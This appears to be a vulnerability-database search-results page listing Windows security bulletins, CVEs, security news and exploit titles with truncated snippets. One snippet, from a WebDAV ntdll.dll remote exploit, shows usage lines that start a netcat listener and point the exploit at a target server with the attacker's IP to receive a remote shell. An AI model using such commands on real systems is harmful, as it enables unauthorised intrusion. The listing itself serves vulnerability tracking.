1685 matches found
Microsoft Windows multiple security vulnerabilities
Buffer overflow, memory corruption, code execution, privilege escalation, restrictions bupass, DoS, information disclosure...
Microsoft Schannel Information Disclosure Vulnerability (3061518)
This host is missing an important security update according to Microsoft Bulletin MS15-055. SPDX-FileCopyrightText: 2015 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only...
MS15-038: Description of the security update for Windows: April 14, 2015
None None...
MS15-020: Description of the security update for Windows shell: March 10, 2015
None None...
MS15-025: Description of the security update for Windows kernel: March 10, 2015
None None...
MS15-024: Vulnerability in PNG Processing Could Allow Information Disclosure (3035132)
The remote Windows host is affected by an information disclosure vulnerability due to improperly handled uninitialized memory when parsing specially crafted PNG image format files. A remote attacker can exploit this vulnerability by convincing a user to visit a website containing specially crafte...
Hidden 1 5 years of the JasBug vulnerability affects all versions of windows System-vulnerability warning-the black bar safety net
A few days ago Microsoft just released a critical patch to fix one up to 1 5 years, the vulnerability, the hacker exploits the vulnerability can remotely hijack the user's computer, regardless of whether the computer is running any version of windows System. This serious...
Bypassing Windows Security by modifying 1 Bit Only
Among several vulnerabilities, Microsoft on Tuesday patched a critical vulnerability that could be exploited by hackers to bypass security measures on all versions of Windows operating systems from XP to Windows 10, just by modifying a single bit. The local privilege escalation vulnerability...
SoftSphere DefenseWall FW/IPS 3.24 - Local Privilege Escalation
/ Exploit Title - SoftSphere DefenseWall FW/IPS Arbitrary Write Privilege Escalation Date - 10th February 2015 Discovered by - Parvez Anwar @parvezghh Vendor Homepage - http://www.softsphere.com Tested Version - 3.24 Driver Version - 3.2.3.0 - dwall.sys Tested on OS - 32bit Windows XP SP3 OSVDB -...
MS15-005: Vulnerability in Network Location Awareness service could allow security feature bypass: January 13, 2015
None None...
CVE-2014-6332
OleAut32.dll in OLE in Microsoft Windows Server 2003 SP2, Windows Vista SP2, Windows Server 2008 SP2 and R2 SP1, Windows 7 SP1, Windows 8, Windows 8.1, Windows Server 2012 Gold and R2, and Windows RT Gold and 8.1 allows remote attackers to execute arbitrary code via a crafted web site, as...
MS14-039: Description of the security update for Windows on-screen keyboard for systems that do not have the 2919355 update installed: July 8, 2014
None None...
MS Windows WebDAV - (ntdll.dll) Remote Exploit
No description provided by source. // / Crpt ntdll.dll exploit trough WebDAV by kralor Crpt / / --------------------------------------------------------------- / / this is the exploit for ntdll.dll through WebDAV. / / run a netcat ex: nc -L -vv -p 666 / / wb server.com yourip 666 0 / / the...
AOL Instant Messenger AIM "Away" Message Local Exploit
No description provided by source. / subject: local PoC exploit for AIM 5.5.3595 vendor: http://www.aim.com cve: http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0636 credits: Matt Murphy date: 10 August 2004 notes: exploits localy if an argument is supplied, otherwise prints the url...
MS14-030: Vulnerability in Remote Desktop could allow tampering: June 10, 2014
Resolves a vulnerability in Windows that could allow tampering if an attacker gains access to the same network segment as the targeted system during an active RDP session and then sends specially crafted RDP packets to the targeted system.INTRODUCTIONMicrosoft has released security bulletin...
MS14-036: Description of the security update for Windows 8.1, Windows Server 2012 RT, Windows 8, and Windows Server 2012: June 10, 2014
Resolves vulnerabilities in Windows, Microsoft Office, and Microsoft Lync that could allow remote code execution if a user opens a specially crafted file or webpage.IntroductionThis security update resolves vulnerabilities in Windows, Microsoft Office, and Microsoft Lync that could allow remote...
Microsoft Windows multiple security vulnerabilities
Windows File Handling code execution, Group Policy Preferences privileges escalation. .Net privileges escalation. Windows Shell privileges escalation. iSCSI DoS...
MS14-027: Description of the security update for Windows systems that do not have update 2919355 installed: May 13, 2014
Resolves a vulnerability in Windows that could allow elevation of privilege if an attacker runs a specially crafted application that uses ShellExecute.IntroductionThis security update resolves a vulnerability in Windows that could allow elevation of privilege if an attacker runs a specially craft...
Sophisticated Russian Malware 'SNAKE' and 'Turla' targets Governments and Military Networks
Last week, the Researchers at the German security company G Data Software have reported about the most complex and sophisticated rootkit malware, Uroburos which is designed to steal data from secure facilities and has ability to take control of an infected machine, execute arbitrary commands and...
Pwn2Own To Pay $150,000 Grand Prize for Microsoft EMET Bypass
Microsoft has not been shy in the past nine months about advising users to install and use its Enhanced Mitigation Experience Toolkit EMET as a temporary mitigation until zero-day vulnerabilities are patched. Experts have advised enterprises and smaller organizations to deploy EMET as a proactive...